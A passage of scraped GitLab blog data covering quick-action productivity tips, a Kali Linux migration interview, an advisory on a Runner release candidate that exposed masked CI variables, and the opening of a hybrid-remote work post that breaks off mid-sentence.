Feedback","en-us/blog/giving-receiving-feedback.yml","en-us/blog/giving-receiving-feedback",{"_path":19589,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":19590,"content":19596,"config":19601,"_id":19603,"_type":16,"title":19604,"_source":17,"_file":19605,"_stem":19606,"_extension":20},"/en-us/blog/improve-your-gitlab-productivity-with-these-10-tips",{"title":19591,"description":19592,"ogTitle":19591,"ogDescription":19592,"noIndex":6,"ogImage":19593,"ogUrl":19594,"ogSiteName":1180,"ogType":1181,"canonicalUrls":19594,"schema":19595},"10 tips to make you a productive GitLab user","Learn how quick actions can make you a more efficient GitLab user.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749666717/Blog/Hero%20Images/cover-image.jpg","https://about.gitlab.com/blog/improve-your-gitlab-productivity-with-these-10-tips","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"10 tips to make you a productive GitLab user\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Michael Friedrich\"},{\"@type\":\"Person\",\"name\":\"Roman Kuba\"}],\n        \"datePublished\": \"2021-02-18\",\n      }",{"title":19591,"description":19592,"authors":19597,"heroImage":19593,"date":19562,"body":19599,"category":734,"tags":19600},[4808,19598],"Roman Kuba","\nMost people know GitLab is a solid tool in today's DevOps workflows, with code reviews, CI/CD, and project management all available for users in a single application. But there are always ways to be more efficient. Since we use GitLab to develop GitLab, everyone has their own habits and hidden gems to speed things up.\n\nWe chatted about GitLab efficiency tips after seeing new [quick actions releases in GitLab 13.8](/releases/2021/01/22/gitlab-13-8-released/#display-all-available-quick-actions-in-autocomplete), and decided to share some of our favorite tips with GitLab users. We share our typical day-to-day workflows as an engineering manager (Roman) and a developer (Michael) to show how quick actions make teams more productive and efficient.\n\n### Roman: Engineering manager starts planning\n\nI am an engineering manager on the [Create: Editor team](/handbook/product/categories/features/#createeditor-group) at GitLab. One of my responsibilities is capacity planning with product managers. Planning happens every month for the next [GitLab release](/releases/). GitLab uses the [milestone feature](https://docs.gitlab.com/ee/user/project/milestones/) to keep everything organized for the release. As planning goes on, I need to create a new issue for a new feature in the Web IDE. The issue description uses a [description template](https://docs.gitlab.com/ee/user/project/description_templates.html) which gets filled with the right context.\n\nBut instead of searching for the assignee in the dropdown, I just add a new line:\n\n```\n/assign @dnsmichi\n```\n\nAll quick actions start with a `/` character and will be interpreted by GitLab when the issue gets created. In addition to an assignee, issue labels need to be applied as well.\n\n```\n/label ~\"type::feature\"\n```\n\nYou can also assign multiple labels at once:\n\n```\n/label ~devops::create ~group::editor ~\"Category::Web IDE\"\n```\n\n![GitLab Quick Actions: Multiple labels](https://about.gitlab.com/images/blogimages/improve-your-gitlab-productivity-10-tips/quick_action_label_multiple.png)\nHow to apply multiple labels using GitLab quick actions.\n\nThe issue needs to be assigned to the next milestone. This can be done with another quick action:\n\n```\n/milestone %13.10\n```\n\nNote that 13.9 release planning already happened last month. The [product kickoff](/direction/kickoff/) highlights the planned features.\n\nThe keyboard shortcut `cmd + enter` now creates the issue without clicking a button.\n\nSo far, we were able to complete a lot of the necessary workflows around issues in one go, and without ever leaving the text box.\n\nAfter reviewing the issue I created, I remembered that this issue should be assigned to the `FY22Q1 Performance OKRs` epic. Again, we can use a quick action. It’s important to note here that referencing an epic works with the `&` character. When we type this character, we can start to search for the epic by typing its name.\n\n```\n/epic & \u003Csearch>\n```\n\nThis will turn into something like this:\n\n```\n/epic &123\n```\n\nAll quick actions can be used in a new comment and again using `cmd + enter` to save it.\n\nThe `FY22Q1 Performance OKRs` epic still needs to be added to a parent engineering OKR epic. So I'll navigate to the now-linked epic and use another quick action to set the parent epic.\n\n```\n/parent_epic & \u003Csearch>\n```\n\nWhen working with multiple levels of epics, remember to keep practicing quick actions to create visual epic trees quickly. That’s all for now from my manager's side.\n\n### Michael: A developer starts with code\n\nI work on the [Developer Evangelism team](/handbook/marketing/developer-relations/developer-evangelism/) at GitLab, and although I'm not technically a developer in the typical sense I still work with code on a daily basis. The average day starts with a new to-do. Today's to-do points me to the new issue that Roman created. After reviewing the issue requirements and defining the changes to be implemented, I start work: I'll clean up the work environment, pull the latest changes from the default branch (main/master), and create a new Git branch in my local terminal.\n\nAfter a few commits, my work day nears its end. I decide to publish the local Git branch and create a new Merge Request (MR). After creating the MR, the triage workflow kicks off. I mark the [MR as draft](https://docs.gitlab.com/ee/user/project/merge_requests/drafts.html) to prevent the workflow from starting before the MR is ready:\n\n```\n/draft\n```\n\nThe next day, I continue working on the MR and finish everything that was planned, so I need to remove the draft designation. The `draft` quick action is a toggle, so I can use it to assign and remove the `Draft` marker.\n\n```\n/draft\n```\n\nThe next step is to assign a reviewer for the MR. GitLab 13.7 added [merge request reviewers](/blog/merge-request-reviewers/), which means we can leave the MR assignee untouched. I'll use the livesearch to assign the right reviewer with a leading `@` character.\n\n```\n/assign_reviewer @ \u003Csearch>\n```\n\n![GitLab Quick Actions: Remove draft and assign reviewer](https://about.gitlab.com/images/blogimages/improve-your-gitlab-productivity-10-tips/quick_action_toggle_draft_assign_reviewer.png)\nHow to remove the draft and add a reviewer using GitLab quick actions.\n\nAfter the first round of review, I get feedback and items for follow-up. Since I am in the middle of a different tasks, I create a new to-do to remind myself of an open task to follow up on when I'm ready.\n\n```\n/todo\n```\n\nSince my work as a developer evanglist includes many topics and areas, I get distracted with other high priority tasks throughout the day. Later in the week, I'll come back to the MR. The review items have been addressed by team member suggestions and all threads are resolved now. The reviewer approves the MR with the quick action:\n\n```\n/approve\n```\n\nThe review process took a little while to complete, and because GitLab is a fast-changing project, the Git branch is outdated. I need to rebase against the default branch.\n\nBut since I am already working on something else, I do not want to stop what I am doing currently to rebase. Then I remember: GitLab 13.8 added the `/rebase` quick action. This schedules a new background job that attempts to rebase the branch, and stops operations if it fails.\n\nI open the MR and create a new comment. I start typing the rebase quick action, followed by `cmd+enter` to send it:\n\n```\n/rebase\n```\n\n![GitLab Quick Actions: Rebase](https://about.gitlab.com/images/blogimages/improve-your-gitlab-productivity-10-tips/quick_action_rebase.png){: .shadow.center}\nHow to rebase with GitLab quick actions.\n{: .note.text-center}\n\nPhew. It worked. The CI/CD pipeline is running, and I believe that the rebase did not break anything. I go to click the \"Merge after pipeline succeeds\" button, and remember there's a quick action for that.\n\n```\n/merge\n```\n\nThe quick action takes into account what is configured for the project: Either merge when the pipeline succeeds or add it to the [Merge Train](/blog/merge-trains-explained/).\n\nEverything happens automatically and I can continue working on other tasks. The manager (in this case, Roman) sees the issue being closed automatically using the `Closes` keyword. That's all from my developer's side.\n\nTip: [Automatically closing issues](https://docs.gitlab.com/ee/user/project/issues/managing_issues.html#closing-issues-automatically) after the MR has been merged is an amazing workflow for everyone, assuming the manager has set the milestone accordingly.\n\nAt GitLab, we have documented our [engineering workflows](/handbook/engineering/workflow/) which can be followed more efficiently with the quick actions shown in this blog post.\n\n### Quick actions + description templates = ❤️\n\nWe demonstrated different ways quick actions can be used to complete common tasks more efficiently. But they do not always have to be applied manually. One shortcut is to just add them to [description templates](https://docs.gitlab.com/ee/user/project/description_templates.html) so you do not have to worry about remembering them all. This way, you can also automatically assign users, add labels, and much more based on the template you apply. Using description templates helps with project contributions and allows everyone to focus on the feature proposal or bug report.\n\nLet’s try it! Create a new project, navigate into \"Issues > Labels\" and generate a default set of labels. Next, open the Web IDE and add a new file in `.gitlab/issue_templates/bug.md`. Add the following content:\n\n```\n# Summary\n\n# Steps to reproduce\n\n1.\n1.\n1.\n\n\u003C!-- Do not edit the section below -->\n/label ~\"type::bug\"\n/assign @YOURUSER\n```\n\nFirst, replace YOURUSER with your username (make sure you're logged in). Commit the new file to the default branch, and navigate into the issue list. Next, create a new issue and select `bug` from the dropdown. Add some content, and submit the issue. Finally, verify that the label and assignee are both set.\n\nTip: This is not limited to issue templates, it also works with MRs and epics. At GitLab we also often use this function to dynamically assign people based on reports created automatically. There are many opportunities to use description templates.\n\n### More tips and insights\n\nWe have not yet tried the following quick actions - can you help us out? :-)\n\n```\n/shrug\n/tableflip\n```\n\nThere are more [quick actions](https://docs.gitlab.com/ee/user/project/quick_actions.html) and [keyboard shortcuts](https://docs.gitlab.com/ee/user/shortcuts.html) available. In fact, GitLab user [Gary Bell](https://gitlab.com/garybell) shared great insights on quick actions in his \"Tanuki Tuesday\" blog series:\n\n- [Quick Actions](https://www.garybell.co.uk/quick-actions-in-gitlab/)\n- [Keyboard Shortcuts](https://www.garybell.co.uk/using-keyboard-shortcuts-in-gitlab/)\n\nLet us know in the comments below which quick actions most helped your productivity and if you have other creative ways of using quick actions.\n\nPS: We also support shortcuts at GitLab, and the most loved shortcut is `cmd + k` for inserting a Markdown URL.\n\nCover image by [Juan Gomez](https://unsplash.com/@nosoylasonia) on [Unsplash](https://unsplash.com/photos/kt-wA0GDFq8)\n{: .note}\n",[1444,2368,676],{"slug":19602,"featured":6,"template":678},"improve-your-gitlab-productivity-with-these-10-tips","content:en-us:blog:improve-your-gitlab-productivity-with-these-10-tips.yml","Improve Your Gitlab Productivity With These 10 Tips","en-us/blog/improve-your-gitlab-productivity-with-these-10-tips.yml","en-us/blog/improve-your-gitlab-productivity-with-these-10-tips",{"_path":19608,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":19609,"content":19614,"config":19619,"_id":19621,"_type":16,"title":19622,"_source":17,"_file":19623,"_stem":19624,"_extension":20},"/en-us/blog/kali-linux-movingtogitlab",{"title":19610,"description":19611,"ogTitle":19610,"ogDescription":19611,"noIndex":6,"ogImage":19096,"ogUrl":19612,"ogSiteName":1180,"ogType":1181,"canonicalUrls":19612,"schema":19613},"Kali Linux: Growing Community Contributions with GitLab","Since moving to GitLab in 2019, Kali Linux has gone from company-only contributions to a growing number of community contributions.","https://about.gitlab.com/blog/kali-linux-movingtogitlab","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How GitLab helped Kali Linux attract a growing number of community contributions\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Nuritzi Sanchez\"}],\n        \"datePublished\": \"2021-02-18\",\n      }",{"title":19615,"description":19611,"authors":19616,"heroImage":19096,"date":19562,"body":19617,"category":813,"tags":19618},"How GitLab helped Kali Linux attract a growing number of community contributions",[18895],"[Kali Linux](https://www.kali.org/) is a well-loved Debian-based Linux distribution aimed at advanced [Penetration Testing](https://en.wikipedia.org/wiki/Penetration_test) and Security Auditing. We sat down with Ben Wilson ([@g0tmi1k](https://twitter.com/g0tmi1k)), senior developer at Kali, to hear more about why Kali Linux moved to GitLab and see if they've noticed any changes to their project since adopting GitLab as their DevOps solution.\n\n## Why did you decide to move to GitLab?\n\nWe decided to move from Gitolite to GitLab around April 2019 to make it possible for our community to contribute to Kali. Our previous setup didn't allow anyone to sign up, so the community couldn't help out. Another complication was using a mixture of services such as Google Docs and Phabricator, and we wanted to condense our tool stack. We love that GitLab is a single platform for the whole software development lifecycle.\n\n>> One thing that was important for us is that we didn't want to reinvent the wheel. We tried to choose something open-source with advanced functionality, an active community, and a company behind it. GitLab ticked every box.\n\nAnother factor for our decision was that [GitLab's API is significantly more feature-rich than competitor APIs](https://docs.gitlab.com/ee/api/), which allowed us to automate and integrate into anything that we wanted. For example, we can fully automate the process of remotely forking a repository then apply our configurations.\n\nThat way, we don't have to download a git repository only to push it up again. This is a big time-saver for us and significantly simplifies the workflow. Some of the configuration that we can now automatically apply are:\n\n * Being able to drop the relationship between forks\n * Configure the default branch\n * Disable unused features for a repository (e.g., not everything requires their own wiki)\n * Populate a description for the repository\n * Set up CI paths\n * Set up email notification on any activity to our private mailing list\n\nWe take advantage of various open source tools that leverage GitLab's API, such as [Debian Salsa](https://www.phoronix.com/scan.php?page=news_item&px=Debian-Salsa-Beta). We can use these tools to automate things like updates to email distribution lists and our configuration of GitLab admin settings and repository structure. We contribute any changes we make to these tools back upstream so that other communities can leverage GitLab's API's power the way we do.\n\nAn additional perk to GitLab is its usability. The way you can organize projects makes it a more intuitive experience for people who want to contribute. For example, having sub-groups and projects allows us to keep a clean layout in a folder-like structure. For those interested, you can see how we've organized the [Kali project in GitLab](https://gitlab.com/kalilinux).\n\n## How are you using GitLab at Kali Linux?\n\nWe're using GitLab's [top-tier SaaS version](/pricing/), which is hosted on GitLab.com, thanks to the [GitLab for Open Source program](/solutions/open-source/). Using this version and hosting it on GitLab is easier for us because it's less infrastructure to maintain. We have many unique pieces of infrastructure so it's nice to reduce the load when we can. We're using a wide range of features to manage the entire Kali Linux project, consisting of 564 active repositories.\n\nSome of the most essential [GitLab features](/pricing/feature-comparison/) for us are:\n\n*   **Source Code Management**: We're using GitLab to host the source code to all our packages and build scripts and custom tools.\n*   **[Wiki](https://docs.gitlab.com/ee/user/project/wiki/#wiki)**: We use the wiki functionality for internal documentation. Markdown makes it easy for everyone to contribute.\n*   **[Project management](/solutions/agile-delivery/)**: We track tasks and short/long term goals with GitLab as well as the timelines for our project. We use issue tracking, threads, labels, milestones, weights, and everything else designed for project management.\n*   **[User Permissions](https://docs.gitlab.com/ee/user/permissions.html#permissions)**: We like the functionality of GitLab's user permissions, which allows us to have \"one-off\" users on specific projects as well as automatic expiration after a particular time.\n*   **[Security](https://docs.gitlab.com/ee/user/application_security/)**: As a cybersecurity-focused Linux distro, security is paramount to us. We like that [GitLab has 2FA and project access tokens](https://docs.gitlab.com/ee/security/).\n*   **[Analytics](https://docs.gitlab.com/ee/user/analytics/)**: We are still discovering the functionality here, but we like seeing user statistics around code review and contribution.\n*   **Performance**: We're able to use GitLab's [Content Delivery Network (CDN)](https://en.wikipedia.org/wiki/Content_delivery_network) for great performance across the globe.\n\nWe're hoping to leverage [GitLab's CI/CD features](/solutions/continuous-integration/) and the [container management capabilities](https://docs.gitlab.com/ee/user/packages/container_registry/) more regularly in the near future.\n\nWe're also looking to use [GitLab Pages](https://docs.gitlab.com/ee/user/project/pages/) for hosting our website instead of our self-hosted WordPress instance. By using [Hugo](https://gohugo.io/hosting-and-deployment/hosting-on-gitlab/), we can write the content with a mixture of HTML and Markdown. Hugo makes it very simple, easy to update, and has straightforward change tracking. GitLab Pages then can serve up the [static output](https://docs.gitlab.com/ee/user/project/web_ide/index.html).\n\nThere were several problems we were facing with WordPress that made us consider moving away, such as plugins that weren't properly maintained, security issues that made us require VPN access to admin pages. The other benefits to the move are that static pages will load faster, and our community can help fix typos on our website through merge requests. Once we make the move to GitLab Pages, we'll start to make greater use of GitLab's CI/CD functions to statically generate the websites.\n\nAnother thing we're becoming more familiar with is all of GitLab's project management features. One of the reasons we chose GitLab instead of other DevOps tools is that it's a single platform for the whole software development lifecycle, and we're looking to use more of its features. Since we're on the top-tier SaaS plan, we have every functionality available to us and we're eager to make use of it.\n\n## What are some of the changes you've noticed in your open-source community since starting to use GitLab?\n\nThe most significant change is that we only allowed contributions from employees before moving to GitLab. Since the switch to GitLab, we've adopted a new mindset and now allow anyone to help out.\n\n>> GitLab's user-friendly design has made it easy for our community to get started, and we've started to receive merge requests from the public as well as bug reports and bug fixes.\n\nIt's been exhilarating to see these contributions land! We are working on increasing these contributions in 2021 with a \"Kali Summer of Code\" and are considering doing a giveaway for people who have made a significant contribution.\n\nWe've also experienced changes to our development practices. For example, we can now have more effective discussions about commit differences and can link to individual commits to pinpoint problems. It's easier to update items from the internal wiki, edit web pages, and merge requests. I also like that GitLab has a built-in automatic save feature to help when you're drafting something and either multitasking or on-the-go.\n\nFinally, GitLab's to-dos and long-term planning features allow us to plan ahead for the future of Kali development. For example, we've replaced ad-hoc solutions done by individuals via emails and to-do list text files on each person's computer since moving to GitLab.\n\n## What are some challenges you've had with implementing GitLab for your community? How did you overcome those challenges?\n\nDuring the switchover from the old system to GitLab, we discovered various things that were hardcoded.\n\nTo help with this, we automated a find and replace, and followed up with various manual searches to ensure that all links and references were located. This ended up taking about two hours. We also left the old web server up for a year, which pointed to the new URL structure to ensure that there weren't any missing links and references. We redid the layout of the site, so it took a while to recreate all the redirects.\n\nAnother challenge was the sheer size of Kali. We had to import roughly 1,000 repositories when we set up GitLab. We managed to migrate most of them in a day and completed the migration within a week once we managed to get the group structure in place. We set up separate groups for different access levels to repositories for build scripts, internal non-public files, Android, phone, build scripts, store, packages, recipes, tools, and websites.\n\nImporting other items (code packages, build scripts, and custom tools from our self-hosted git) took longer because they were in many different formats. When we did the import we cleaned up to determine which items were no longer in use and archived them. The next step was making sure our custom tools were hosted on GitLab and then configuring the tools and packages appropriately. Next, we imported several repositories. We also needed to create files that were not previously tracked in our repository. Finally, we converted our WordPress-based content to Markdown using an [open source project](https://github.com/lonekorean/wordpress-export-to-markdown), then manually verified and cleaned it up.\n\nWe chose not to carry over existing issues because we wanted to have a clean start. In general, we only imported what was important. Everything we ended up with is what we cared about and what we wanted to track.\n\n## What do you think GitLab is doing well in supporting open source communities, and what should GitLab do to improve in this area?\n\nWe really like that GitLab has an outreach program for open source projects with dedicated people for the job role. They actively contacted us to become a [GitLab Open Source Partner](/solutions/open-source/partners/) and we're glad to have joined as one!\n\nOne of the things that we appreciate about GitLab is that the company is open source. The transparency that comes with that allows us, and anyone else, to see the company's progress. GitLab is setting an example for how open source companies can work alongside their communities, and it's something we are learning from too.\n\n## What advice would you have for other open source communities that are looking to implement GitLab?\n\nThe sooner you make the switch, the easier and better! Once you move, you'll see that it's less work to maintain and there are more features to use.\n\nWhen beginning your migration, make sure to set up a test project first to help plan the structure ahead of doing the main project switch. Look up and explore features ahead of time so you know what GitLab can do rather than discover the functionality when using it. GitLab has a [GitLab Learn portal](/learn/), which we hear is going to continue to be improved to help with user education.\n\n## What are some of the new things on the horizon for Kali Linux?\n\n*   [KaBoxer](https://gitlab.com/kalilinux/tools/kaboxer): A framework to manage applications in containers on Kali\n*   New kali.org website using GitLab Pages\n*   Programs to increase community contributions to Kali\n\n## Is there anything else you'd like to share with us that we haven't asked you?\n\nWe have only scratched the surface of what GitLab has offered - and they keep putting in more features. We are planning on taking their upcoming training to make sure we are fully up-to-date on their offerings.\n\n## Last but certainly not least, we have heard a rumor that the founders of Kali are so dedicated to the project that they have Kali logo tattoos. Is this true?\n\nVery true! The original founders both have Kali tattoos, as do various current members.\n\nWe also have some pretty cute baby onesies that are a hit.\n\n![A baby in a Kali Linux onesie](https://about.gitlab.com/images/blogimages/kali_linux_baby.jpg){: .shadow.medium.center}\nKali Linux has some cute baby onesies. [CC BY-SA 4.0](https://creativecommons.org/licenses/by-sa/4.0/) Ben Wilson\n{: .note.text-center}\n\n## About Kali Linux\n\n[Kali Linux](https://www.kali.org/) (formerly known as BackTrack-Linux) is a Debian-based Linux distribution aimed at advanced Penetration Testing and Security Auditing. Kali Linux contains several hundred tools targeted toward various information security tasks, such as Penetration Testing, Forensics, and Reverse Engineering. Kali Linux is a multi platform solution, accessible and freely available to information security professionals and hobbyists.\n",[815,267,4772],{"slug":19620,"featured":6,"template":678},"kali-linux-movingtogitlab","content:en-us:blog:kali-linux-movingtogitlab.yml","Kali Linux Movingtogitlab","en-us/blog/kali-linux-movingtogitlab.yml","en-us/blog/kali-linux-movingtogitlab",{"_path":19626,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":19627,"content":19632,"config":19637,"_id":19639,"_type":16,"title":19640,"_source":17,"_file":19641,"_stem":19642,"_extension":20},"/en-us/blog/masked-variable-vulnerability-in-runner-ver-13-9-0-rc1",{"title":19628,"description":19629,"ogTitle":19628,"ogDescription":19629,"noIndex":6,"ogImage":14173,"ogUrl":19630,"ogSiteName":1180,"ogType":1181,"canonicalUrls":19630,"schema":19631},"Masked variable vulnerability in Runner version 13.9.0-rc1","How we responded to a masked variable vulnerability in GitLab Runner version 13.9.0-rc1 and actions users should take.","https://about.gitlab.com/blog/masked-variable-vulnerability-in-runner-ver-13-9-0-rc1","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Masked variable vulnerability in Runner version 13.9.0-rc1\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Lee Matos\"}],\n        \"datePublished\": \"2021-02-18\",\n      }",{"title":19628,"description":19629,"authors":19633,"heroImage":14173,"date":19562,"body":19635,"category":674,"tags":19636},[19634],"Lee Matos","\n\nWe’re sharing details on a vulnerability that caused CI jobs containing [masked CI variables](https://docs.gitlab.com/ee/ci/variables/#mask-a-custom-variable) to be revealed. We’re communicating here to ensure affected users are aware and take action as well as to uphold our [transparency value](https://handbook.gitlab.com/handbook/values/#transparency).\n\n## Am I affected?\n\n* If you have masked variables on Gitlab.com, you could be affected. These variables could be at either the project or group level.\n* If you ran a CI pipeline between February 11th 13:00 through Feb 16 01:16am UTC on GitLab.com shared runners that output masked variables,**you are affected.**\n* If you are a self-managed customer who has deployed runner version 13.9.0-rc1, pipelines that are run by that runner which output masked variables are affected.\n\n### How could my masked variables be printed in the build logs?\nAny mechanism that show the variable would have been done in an unmasked state while using runner version 13.9.0-rc1. Example commands include:\n\n* echo $variable_name\n* echo $variable_name > variable.txt; cat variable.txt\n* some-command $masked_variable -> If this command outputs the parameters passed, it would have been unmasked.\n\n### If I am affected, what should I do?\n\nAll users who may be affected by this should review their jobs for any printed variables and rotate any secrets contained in masked variables immediately.\n\n#### GitLab.com users\n\nGitLab.com projects using shared runners between February 11th 13:00 until Feb 16 01:16am UTC and printed masked variables are affected by this regression and should rotate any secrets contained in masked variables immediately.\n\nIf you are using your own runner on gitlab.com, you should validate that you are not using runner version 13.9.0-rc1\n\n***Please note:***\n* Project visibility settings were not affected. If your project or project’s pipelines section was private, the masked variables would only be visible to members of your project with access to CI pipelines.\n* If your jobs ran on a self-managed (not shared) runner using any version aside from 13.9.0-rc1, you should not be affected by this regression.\n* If your jobs did not print any masked variables during this time, you should not be affected by this regression.\n* In any of these cases, you may choose to use this opportunity to rotate your secrets out of caution, or as part of your regular security hygiene.\n\n#### Self-managed users\n\nIf you are using 13.9.0-rc1, please upgrade to [v13.9.0-rc2](https://gitlab.com/gitlab-org/gitlab-runner/-/releases/v13.9.0-rc2) or downgrade to [13.8.0](https://gitlab.com/gitlab-org/gitlab-runner/-/releases/v13.8.0) as soon as possible. You only need to upgrade to v13.9.0-rc2 if you are using 13.9.0rc1 and want to continue using the latest release candidate at your own risk.\n\n*Please note:* The latest stable version v13.8.0 of GitLab Runner **does not have** this vulnerability so you do not need to upgrade to 13.9.0-rc2 if you are using 13.8.0.\n\nFor additional information and guidance on how to secure your GitLab instance, you can review the blog post [\"GitLab instance: security best practices\"](/blog/gitlab-instance-security-best-practices/).\n\n\n## Some background on this vulnerability\n\n## What does rc1 mean?\nAs part of our release process, runner release candidates (RC) are constantly deployed to and monitored within GitLab.com infrastructure. We roll out code in a scaled process, starting with our internal private runner managers, then move to the remainder of the shared runner fleet – allowing for a day in between deployments. Self-managed users can elect to use the latest RCs if they want to get code changes as fast as possible or test the latest code for regressions in their environments.\n\n### Details about our deployment timeline\nOn February 11th 13:00 until Feb 16 01:16am UTC, GitLab deployed version 13.9.0-rc1 of GitLab Runner on GitLab.com’s Shared Runners fleet.\n\nSelf-managed customers who are testing latest release candidates may have deployed 13.9.0-rc1 during that timeframe and should update immediately to either runner version 13.8.0 (latest stable) or 13.9.0-rc2 (latest release candidate). We have removed runner version 13.9.0-rc1 from distribution.\n\n### Actions GitLab has taken\n\nWe learned of the regression on Feb 15, and deployed a [new version of runners v13.9.0-rc2](https://gitlab.com/gitlab-org/gitlab-runner/-/releases/v13.9.0-rc2) across the Shared Runners fleet to mitigate the issue.\n\nWe have contacted GitLab.com project owners who may be affected by this regression directly via email between Feb 16-18 with information on the regression and the instructions to rotate tokens. We are also sharing that information here. The emails were titled:\n\n* Security Alert: Your public GitLab.com project needs your attention\n* Security Alert: Your private GitLab.com project needs your attention\n* Security Alert: Masked group variable vulnerability in Runner version 13.9.0-rc1\n\nFor self-managed users, we sent out a security alert email to all members of our security alerts mailing list. This email was titled _\"Security Alert: Runner version 13.9.0-rc1 has a masked variable vulnerability\"._ The same information is shared in this blog post. You can [subscribe to our security alerts](/company/contact/) to receive similar alerts, as well as notices of when regular and critical security releases are published.\n\n# What to do if you have questions\n\n## For GitLab.com customers\nFor GitLab.com customers with questions on how to determine if you are affected, please [open a GitLab.com support ticket](https://support.gitlab.com/hc/en-us/requests/new?ticket_form_id=334447) so a support engineer can help you.\n\n## For self-managed customers\nIf you are a self-managed customer that used runner version 13.9.0-rc1 and have questions on how to determine the scope of impact, you can [open a self-managed support ticket](https://support.gitlab.com/hc/en-us/requests/new?ticket_form_id=426148) and a support engineer can help you investigate in your specific environment.\n",[674],{"slug":19638,"featured":6,"template":678},"masked-variable-vulnerability-in-runner-ver-13-9-0-rc1","content:en-us:blog:masked-variable-vulnerability-in-runner-ver-13-9-0-rc1.yml","Masked Variable Vulnerability In Runner Ver 13 9 0 Rc1","en-us/blog/masked-variable-vulnerability-in-runner-ver-13-9-0-rc1.yml","en-us/blog/masked-variable-vulnerability-in-runner-ver-13-9-0-rc1",{"_path":19644,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":19645,"content":19651,"config":19657,"_id":19659,"_type":16,"title":19660,"_source":17,"_file":19661,"_stem":19662,"_extension":20},"/en-us/blog/considerations-for-going-hybrid-remote",{"title":19646,"description":19647,"ogTitle":19646,"ogDescription":19647,"noIndex":6,"ogImage":19648,"ogUrl":19649,"ogSiteName":1180,"ogType":1181,"canonicalUrls":19649,"schema":19650},"What to consider when going hybrid","Hybrid-remote is an alluring alternative to all-remote, but requires careful consideration. Here's what you need to know when making the shift.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749681897/Blog/Hero%20Images/san_francisco_skyline_dm.jpg","https://about.gitlab.com/blog/considerations-for-going-hybrid-remote","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"What to consider when going hybrid\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Darren Murph\"}],\n        \"datePublished\": \"2021-02-17\",\n      }",{"title":19646,"description":19647,"authors":19652,"heroImage":19648,"date":19654,"body":19655,"category":6634,"tags":19656},[19653],"Darren Murph","2021-02-17","\n\nAs the working world embraces the reality that we aren't going back to old ways of working, a growing chorus of leaders are forecasting a [hybrid-remote](/company/culture/all-remote/hybrid-remote/) future. While the allure of this concept is understandable — it seems to present the best of two worlds on paper — a great deal of nuance lurks.\n\n\u003Cblockquote class=\"twitter-tweet tw-align-center\">\u003Cp lang=\"en\" dir=\"ltr\">Sorry to break it to all of the remote-only people, but I think offices will make a comeback.\u003C/p>&mdash; Allison Barr Allen (@abarrallen) \u003Ca href=\"https://twitter.com/abarrallen/status/1349539596242075648?ref_src=twsrc%5Etfw\">January 14, 2021\u003C/a>\u003C/blockquote> \u003Cscript async src=\"https://platform.twitter.com/widgets.js\" charset=\"utf-8\">\u003C/script>\n\nIn fact, without great deliberation, care, and intentionality, hybrid can deliver the *worst* of both worlds. If you're charging down this road, you'll want to consider and plan for the points below to minimize dysfunction and the toxic friction of a [two-tier work environment](/company/culture/all-remote/what-not-to-do/).\n\n## Only some days in the office\n\nCompanies that mandate or encourage one or more days per week in-office should be mindful of three important factors:\n\n1. This inhibits team members from considering drastically different living locales, because they still need to be within a commutable distance to an office.\n1. This prevents a company's sourcing and recruiting teams from operating differently compared to all-colocated. New hires will still need to relocate to the general office area, limiting your talent pool.\n1. This will make the process of shifting to remote-first workflows more difficult, as the office will serve as a crutch to collaboration.\n\n## Informal meetings\n\nInformal (or unscheduled and unplanned) meetings in an office can be highly disruptive to hybrid-remote teams. While it may feel efficienct to ask someone you see in a hallway for a few minutes of their time, this typically creates disruption in the day of the person you're hailing and leads to undocumented progress. Any progress made in an informal conversation is invisible to those outside of the office *as well as* others in the office who are not invited to the meeting. Unplanned meetings with undocumented results works against the remote-first practice of documenting all work so that others in the organization can contribute.\n\nLeaders should reinforce a particular rigor on documenting takeaways after informal meetings so that context is agreed-upon, visible to others regardless of their location, and to minimize miscommunication and gossip.\n\n## Redesigned spaces for individual meeting rooms\n\nHybrid calls are also [suboptimal for remote attendees](/company/culture/all-remote/meetings/#avoid-hybrid-calls). We recommend leaders transitioning to hybrid-remote consider redesigning existing office space to optimize for individual workspaces and individual meeting rooms. This reinforces that the office is simply [another venue to work remotely from](/company/culture/all-remote/how-to-work-remote-first/#offices-are-simply-venues-to-work-remotely-from).\n\nBy eliminating conference rooms, a company ensures collaboration is accessible to all and removes the temptation to have in-office team members gather around a single camera for a video call with remote attendees.\n\nLeaders may consider keeping one or two large spaces that can be reserved for team onsites, where entire teams or sub-teams will intentionally travel on specific dates to meet in person (e.g., fiscal year planning, team bonding, etc.). It's important to still document outcomes from these gatherings and ensure that 100% of the team is included.\n\n\u003Cblockquote class=\"twitter-tweet tw-align-center\">\u003Cp lang=\"en\" dir=\"ltr\">I have worked from home for most of my 20+ year career and never ever had so many calls and meetings. I&#39;ve kept it to myself for a full year but I cannot anymore: y&#39;all are doing this wrong\u003C/p>&mdash; Amy Westervelt (@amywestervelt) \u003Ca href=\"https://twitter.com/amywestervelt/status/1353902805048647686?ref_src=twsrc%5Etfw\">January 26, 2021\u003C/a>\u003C/blockquote> \u003Cscript async src=\"https://platform.twitter.com/widgets.js\" charset=\"utf-8\">\u003C/script>\n\n## Agendas upfront\n\nThe most functional hybrid organizations operate [remote-first](/company/culture/all-remote/how-to-work-remote-first/). This ensures that business continues even if 100% of the workforce opts to work remotely, outside of the office, on any given day. A key part of reinforcing this mindset is the mandate that all work meetings have an upfront agenda.\n\nPractically speaking, this means that all in-office meeting invites have a shared agenda document attached, so that others can read, learn, and contribute regardless of their location (or even if they're awake and available during the meeting time). This process ensures that a [live doc meeting](/company/culture/all-remote/live-doc-meetings/) procedure happens even for onsite meetings.\n\nThis is critical for process continuity regardless of where a team member is located. In a 